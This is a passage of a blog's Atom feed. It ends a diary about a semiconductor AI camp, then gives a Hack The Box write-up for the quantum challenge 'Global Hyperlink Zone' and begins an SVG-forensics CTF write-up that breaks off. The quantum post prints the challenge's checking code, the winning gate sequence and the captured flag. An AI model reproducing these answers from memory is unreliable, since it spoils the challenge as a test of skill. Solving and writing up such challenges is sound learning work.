的製程過程。他們是很認真的拍了一個影片，絕對不是在 waffle! 哈哈。第四組做了一個類似回答半導體問題，然後有排行的網站。而在專案之外，隊呼部分我覺得我們這組是最爛的XD別組都更有精神、走位、動作跟隊呼的感覺，還有一組詞跟動作都很優秀！</p><p>個人報告大家都很正經的在分享，只有我上台先表演個絆倒，然後在講吃雞排會有雞體電路(Integrated Chicken)，還能做智能車(Intelligent Car)，而且還可以是雞車等等。還有 Arduino UNO 板，那會不會有 Arduino Poker 板……。<br>接著是智能車的競賽，這部分我完全放推，自走車環節交給隊友弄XDD，而手動操作是每個人都要跑的，我<s>這一生</s>如履薄冰成為了第一個完全沒撞到障礙物的人，但耗時就十分感人。</p><p>很緊湊的吃完最後的午餐後，我們搭遊覽車前往科林研發亞太技術訓練中心。可能因為連熬兩天太累了，好幾次聽講我都直接斷電，醒來還不知道自己是什麼時候休眠模式的。他們特地為了給我們看把機台的門通通拆了，跟我們介紹他們製作的這些機器的作用。最後一間房還讓我們玩 VR！是一個射箭的遊戲。結業典禮現場有免費的餅乾跟巧克力，我吃了一包巧克力和一包小 OREO。</p><p>頒獎環節</p><p>公布得獎名單時可能有許多人會緊張，但我是沒什麼感覺，畢竟全國科展時已經體驗過那種感覺了w有就有沒有就沒有這樣，反正這幾天已經<s>水吃水住水隊友的 Claude Code 水一堆了</s>。然後我們就以 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mfrac><mn>1</mn><mn>4</mn></mfrac></mrow><annotation encoding="application/x-tex">\frac14</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1.1901em;vertical-align:-0.345em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.8451em;"><span style="top:-2.655em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">4</span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.394em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">1</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.345em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span> 的機率得到了團隊第一名！</p><p>不是特別不意外也不是特別意外，畢竟就機率問題，這種東西跟科展一樣也很吃喜好XD<br>這次也讓我見識到新台幣的力量(Claude Code)</p><p><img src="2026-08-02-19-47-00.png" alt="領獎"></p><p><img src="2026-08-02-16-22-25.png" alt="勞力士"></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/08/02/%E7%A7%91%E6%9E%97%E7%A0%94%E7%99%BC-x-%E6%B8%85%E8%8F%AF%E5%A4%A7%E5%AD%B8-2026-%E5%8D%8A%E5%B0%8E%E9%AB%94AI%E7%A7%91%E5%AD%B8%E7%87%9F-%E7%B4%80%E9%8C%84/</id>
    <link href="https://r3xdj.pages.dev/2026/08/02/%E7%A7%91%E6%9E%97%E7%A0%94%E7%99%BC-x-%E6%B8%85%E8%8F%AF%E5%A4%A7%E5%AD%B8-2026-%E5%8D%8A%E5%B0%8E%E9%AB%94AI%E7%A7%91%E5%AD%B8%E7%87%9F-%E7%B4%80%E9%8C%84/"/>
    <published>2026-08-02T13:57:40.000Z</published>
    <summary>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1>
<p>報個好營隊</p>
<p><a href="https://bhuntr.com/tw/competitions/lamresearchsummercamp2026">科林研]]>
    </summary>
    <title>科林研發 x 清華大學 - 2026 半導體AI科學營 紀錄</title>
    <updated>2026-08-02T13:57:40.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="ctf" scheme="https://r3xdj.pages.dev/tags/ctf/"/>
    <category term="quantum" scheme="https://r3xdj.pages.dev/tags/quantum/"/>
    <category term="qiskit" scheme="https://r3xdj.pages.dev/tags/qiskit/"/>
    <content>
      <![CDATA[<p>一周前才去上量子計算的課程，然後就突然發現 HTB 上居然有量子相關的 CTF 題目耶！</p><p>Challenge link: <a href="https://app.hackthebox.com/challenges/Global%2520Hyperlink%2520Zone">Hack The Box :: Global Hyperlink Zone Challenge</a></p><p>查看這段關鍵的原始碼：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">def</span> <span class="token function">initialize_hyperlink</span><span class="token punctuation">(</span>self<span class="token punctuation">,</span> instructions<span class="token punctuation">,</span> shots <span class="token operator">=</span> <span class="token number">256</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">if</span> <span class="token builtin">len</span><span class="token punctuation">(</span>instructions<span class="token punctuation">)</span> <span class="token operator">==</span> <span class="token number">0</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    circuit <span class="token operator">=</span> self<span class="token punctuation">.</span>generate_circuit<span class="token punctuation">(</span>instructions<span class="token punctuation">)</span>    <span class="token keyword">if</span> <span class="token keyword">not</span> circuit<span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    compiled <span class="token operator">=</span> transpile<span class="token punctuation">(</span>circuit<span class="token punctuation">,</span> self<span class="token punctuation">.</span>backend<span class="token punctuation">)</span>    results <span class="token operator">=</span> self<span class="token punctuation">.</span>backend<span class="token punctuation">.</span>run<span class="token punctuation">(</span>compiled<span class="token punctuation">,</span> shots <span class="token operator">=</span> shots<span class="token punctuation">,</span> memory <span class="token operator">=</span> <span class="token boolean">True</span><span class="token punctuation">)</span><span class="token punctuation">.</span>result<span class="token punctuation">(</span><span class="token punctuation">)</span>    shares <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">""</span><span class="token punctuation">]</span> <span class="token operator">*</span> <span class="token number">5</span>        <span class="token keyword">for</span> bits <span class="token keyword">in</span> results<span class="token punctuation">.</span>get_memory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">for</span> i<span class="token punctuation">,</span> bit <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>bits<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>            shares<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+=</span> bit    shares <span class="token operator">=</span> <span class="token punctuation">[</span> <span class="token builtin">int</span><span class="token punctuation">(</span>share<span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">.</span>to_bytes<span class="token punctuation">(</span><span class="token number">32</span><span class="token punctuation">,</span> byteorder <span class="token operator">=</span> <span class="token string">"big"</span><span class="token punctuation">)</span> <span class="token keyword">for</span> share <span class="token keyword">in</span> shares <span class="token punctuation">]</span>    <span class="token keyword">if</span> <span class="token builtin">any</span><span class="token punctuation">(</span><span class="token builtin">set</span><span class="token punctuation">(</span>share<span class="token punctuation">)</span> <span class="token keyword">in</span> <span class="token punctuation">(</span><span class="token punctuation">&#123;</span><span class="token number">0</span><span class="token punctuation">&#125;</span><span class="token punctuation">,</span> <span class="token punctuation">&#123;</span><span class="token number">255</span><span class="token punctuation">&#125;</span><span class="token punctuation">)</span> <span class="token keyword">for</span> share <span class="token keyword">in</span> shares<span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">False</span>    <span class="token keyword">if</span> <span class="token punctuation">(</span>        shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token keyword">and</span>        shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span>    <span class="token punctuation">)</span><span class="token punctuation">:</span>        <span class="token keyword">return</span> <span class="token boolean">True</span>    <span class="token keyword">return</span> <span class="token boolean">False</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><pre class="line-numbers language-python" data-language="python"><code class="language-python"><span class="token keyword">for</span> bits <span class="token keyword">in</span> results<span class="token punctuation">.</span>get_memory<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span>    <span class="token keyword">for</span> i<span class="token punctuation">,</span> bit <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>bits<span class="token punctuation">[</span><span class="token punctuation">:</span><span class="token punctuation">:</span><span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">:</span>        shares<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+=</span> bit<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span></span></code></pre><p><code>results.get_memory()</code> 是單次測量的結果，比如 <code>00101</code> 就代表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub><mo>=</mo><mn>1</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><mn>1</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>3</mn></msub><mo>=</mo><mn>0</mn><mo separator="true">,</mo><msub><mi>q</mi><mn>4</mn></msub><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">q_0=1, q_1=0, q_2=1,q_3=0,q_4=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。而之所以要把他翻轉 (<code>bits[::-1]</code>) 就是因為 IBM 的約定是最右邊的是 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>，但 Python 是從最左邊開始讀。而那個 <code>for</code> 迴圈的功能便是將不同 qubits 的測量結果拆開。比如若跑完後 <code>shares[0] = 01001100</code>，就代表 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub></mrow><annotation encoding="application/x-tex">q_0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 第一次觀測結果為 <code>0</code>，第二次為 <code>1</code>，第三、四次為 <code>0</code> 等等。<br>伺服器印出 Flag 的條件是：</p><pre class="line-numbers language-python" data-language="python"><code class="language-python">shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token keyword">and</span> shares<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">3</span><span class="token punctuation">]</span> <span class="token keyword">and</span>shares<span class="token punctuation">[</span><span class="token number">2</span><span class="token punctuation">]</span> <span class="token operator">==</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token keyword">and</span> shares<span class="token punctuation">[</span><span class="token number">4</span><span class="token punctuation">]</span> <span class="token operator">!=</span> shares<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><p>也就是在每次測量都有</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><msub><mi>q</mi><mn>0</mn></msub><mo>=</mo><msub><mi>q</mi><mn>1</mn></msub><mo>=</mo><msub><mi>q</mi><mn>3</mn></msub><mo mathvariant="normal">≠</mo><msub><mi>q</mi><mn>2</mn></msub><mo>=</mo><msub><mi>q</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">q_0 = q_1 = q_3 \neq q_2 = q_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">0</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">3</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel"><span class="mrel"><span class="mord vbox"><span class="thinbox"><span class="rlap"><span class="strut" style="height:0.8889em;vertical-align:-0.1944em;"></span><span class="inner"><span class="mord"><span class="mrel"></span></span></span><span class="fix"></span></span></span></span></span><span class="mspace nobreak"></span><span class="mrel">=</span></span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p>同時不能有任何一個 qubits 的每次測量結果全為 0 或 1：<br><code>if any(set(share) in ({0}, {255}) for share in shares): return False</code></p><p>不難想到我們要構造出</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mfrac><mn>1</mn><msqrt><mn>2</mn></msqrt></mfrac><mrow><mo fence="true">(</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>01011</mn><mo stretchy="false">⟩</mo><mo>+</mo><mi mathvariant="normal">∣</mi><mrow></mrow><mn>10100</mn><mo stretchy="false">⟩</mo><mo fence="true">)</mo></mrow></mrow><annotation encoding="application/x-tex">\frac{1}{\sqrt2}\left( \vert{} 01011 \rangle + \vert{} 10100 \rangle \right)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.2514em;vertical-align:-0.93em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.3214em;"><span style="top:-2.2028em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord sqrt"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.9072em;"><span class="svg-align" style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord" style="padding-left:0.833em;">2</span></span><span style="top:-2.8672em;"><span class="pstrut" style="height:3em;"></span><span class="hide-tail" style="min-width:0.853em;height:1.08em;"><svg xmlns="http://www.w3.org/2000/svg" width="400em" height="1.08em" viewBox="0 0 400000 1080" preserveAspectRatio="xMinYMin slice"><path d="M95,702c-2.7,0,-7.17,-2.7,-13.5,-8c-5.8,-5.3,-9.5,-10,-9.5,-14c0,-2,0.3,-3.3,1,-4c1.3,-2.7,23.83,-20.7,67.5,-54c44.2,-33.3,65.8,-50.3,66.5,-51c1.3,-1.3,3,-2,5,-2c4.7,0,8.7,3.3,12,10s173,378,173,378c0.7,0,35.3,-71,104,-213c68.7,-142,137.5,-285,206.5,-429c69,-144,104.5,-217.7,106.5,-221l0 -0c5.3,-9.3,12,-14,20,-14H400000v40H845.2724s-225.272,467,-225.272,467s-235,486,-235,486c-2.7,4.7,-9,7,-19,7c-6,0,-10,-1,-12,-3s-194,-422,-194,-422s-65,47,-65,47zM834 80h400000v40h-400000z"/></svg></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.1328em;"><span></span></span></span></span></span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.93em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;">(</span><span class="mord">∣</span><span class="mord"></span><span class="mord">01011</span><span class="mclose">⟩</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">∣</span><span class="mord"></span><span class="mord">10100</span><span class="mclose">⟩</span><span class="mclose delimcenter" style="top:0em;">)</span></span></span></span></span></span></p><p>一個很直覺的方法便是用 H Gate + CNOT Gate，而因為 <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>q</mi><mn>2</mn></msub><mo separator="true">,</mo><msub><mi>q</mi><mn>4</mn></msub></mrow><annotation encoding="application/x-tex">q_2, q_4</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.625em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0359em;">q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:-0.0359em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">4</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span> 要和別人不一樣所以在被 CNOT 控制之前要先放一個 X GATE</p><p>我使用的 payload 如下：</p><pre class="line-numbers language-code" data-language="code"><code class="language-code">X:2;X:4;H:0;CX:0,1;CX:0,2;CX:0,3;CX:0,4<span aria-hidden="true" class="line-numbers-rows"><span></span></span></code></pre><p>輸入給 server 就能得到 Flag: <code>HTB{4_57r4ng3_gr33nb3rg3r_h0rn3_z31L1ng3r_57473_1n1714L1z35_7h3_hyp3rL1nk!}</code></p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/07/24/HTB-Global-Hyperlink-Zone-Writeup/</id>
    <link href="https://r3xdj.pages.dev/2026/07/24/HTB-Global-Hyperlink-Zone-Writeup/"/>
    <published>2026-07-24T11:26:10.000Z</published>
    <summary>The writeup for hack the box quantum challenge: Global Hyperlink Zone Writeup</summary>
    <title>HTB -  Global Hyperlink Zone Writeup</title>
    <updated>2026-07-24T11:26:10.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="CTF Writeup" scheme="https://r3xdj.pages.dev/categories/Cyber/CTF-Writeup/"/>
    <category term="crypto" scheme="https://r3xdj.pages.dev/tags/crypto/"/>
    <category term="web" scheme="https://r3xdj.pages.dev/tags/web/"/>
    <category term="misc" scheme="https://r3xdj.pages.dev/tags/misc/"/>
    <category term="CTF" scheme="https://r3xdj.pages.dev/tags/CTF/"/>
    <category term="forensics" scheme="https://r3xdj.pages.dev/tags/forensics/"/>
    <category term="AI" scheme="https://r3xdj.pages.dev/tags/AI/"/>
    <content>
      <![CDATA[<h1 id="%E5%89%8D%E8%A8%80" tabindex="-1">前言</h1><p>我們戰隊組了三隊去玩：<code>RCEs</code>、<code>RCEs-2</code>、<code>owo</code> (因為一隊上限 3 人)，結果 <code>RCEs-2</code> 排名比我們前面很多XD</p><p><img src="RCEs.png" alt="RCEs"><br><img src="2026-07-14-20-00-15.png" alt="RCEs"></p><h1 id="misc" tabindex="-1">Misc</h1><h2 id="ghost-layers" tabindex="-1" id="Ghost-Layers">Ghost Layers</h2><p><img src="2026-07-20-14-10-56.png" alt="Ghost Layers"></p><p>題目給了一個 svg：</p><p><img src="beaver.svg" alt="beaver.svg"></p><p>先上網找個 svg-formatter-beautifier 這樣比較好看<br>然後可以看到 <code>&lt;def&gt;</code> 中的 <code>&lt;g id=&quot;s17&quot;&gt;</code>：</p><pre class="line-numbers language-markup" data-language="markup"><code class="language-markup"><span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">id</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>s17<span class="token punctuation">"</span></span><span class="token punctuation">></span></span>  <span class="token tag"><span class="token tag"><span class="token punctuation">&lt;</span>g</span> <span class="token attr-name">transform</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>translate(62.500,454.000) scale(0.009400,-0.009400)<span class="token punctuation">"</span></span> <span class="token attr-name">fill</span><span class="token attr-value"><span class="token punctuation attr-equals">=</span><span class="token punctuation">"</span>#f8efc9<span class="token 